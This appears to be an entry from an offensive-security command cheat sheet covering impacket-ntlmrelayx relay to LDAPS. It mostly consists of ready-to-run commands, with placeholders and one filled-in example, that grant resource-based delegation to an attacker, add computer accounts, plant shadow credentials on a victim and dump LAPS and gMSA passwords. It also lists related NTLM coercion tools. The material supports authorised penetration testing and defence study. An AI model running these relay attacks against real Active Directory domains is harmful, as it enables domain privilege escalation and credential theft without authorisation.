ntlmrelayx → LDAPS (Add Computer / RBCD / Shadow Creds)
Relay coerced authentication to LDAPS — required when MIC and channel binding force LDAP signing. Common payloads: --add-computer (then RBCD), --delegate-access (set msDS-AllowedToActOnBehalfOfOtherIdentity), --shadow-credentials.
- Tool
- impacket-ntlmrelayx
- Category
- Credential Attacks / NTLM Relay & Coercion
- Platform
- linux
- Requires
- no credentials
- Protocols
- LDAP, NTLM
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
impacket-ntlmrelayx -t ldaps://<dc-ip> --delegate-access --escalate-user '<attacker>' --no-smb-server
Credential variants
The same attack using a different authentication material.
Add Computer requires no credentials
impacket-ntlmrelayx -t ldaps://<dc-ip> --add-computer ATTACKERPC --no-smb-server
Shadow Credentials requires no credentials
impacket-ntlmrelayx -t ldaps://<dc-ip> --shadow-credentials --shadow-target '<victim>' --no-smb-server
Dump Domain requires no credentials
impacket-ntlmrelayx -t ldaps://<dc-ip> --dump-laps --dump-gmsa --no-smb-server
Examples
impacket-ntlmrelayx -t ldaps://10.10.10.10 --delegate-access --escalate-user jdoe --no-smb-server
Tags
References
Related commands
- Coercer Coerce NTLM authentication using multiple RPC protocols
- Coercer Scan (Find Coercion Vectors) Probe a target for every known authentication-coercion RPC method (PetitPotam,…
- DFSCoerce Coerce NTLM authentication using MS-DFSNM (Distributed File System)
- NetExec coerce_plus Module Unified coercion module — replaces the individual…
- NetExec Generate Relay Target List Scan a subnet over SMB and write a file containing every host with SMB signing disabled.…
- NetExec mssql_coerce Module Coerce the MSSQL service account to authenticate to your relay listener via xp_dirtree /…
- NetExec PetitPotam Coercion Coerce a Windows host (typically a DC) to authenticate back to the attacker via the…
- NetExec SMB Coerce Plus Trigger NTLM authentication coercion using multiple methods (PetitPotam, PrinterBug,…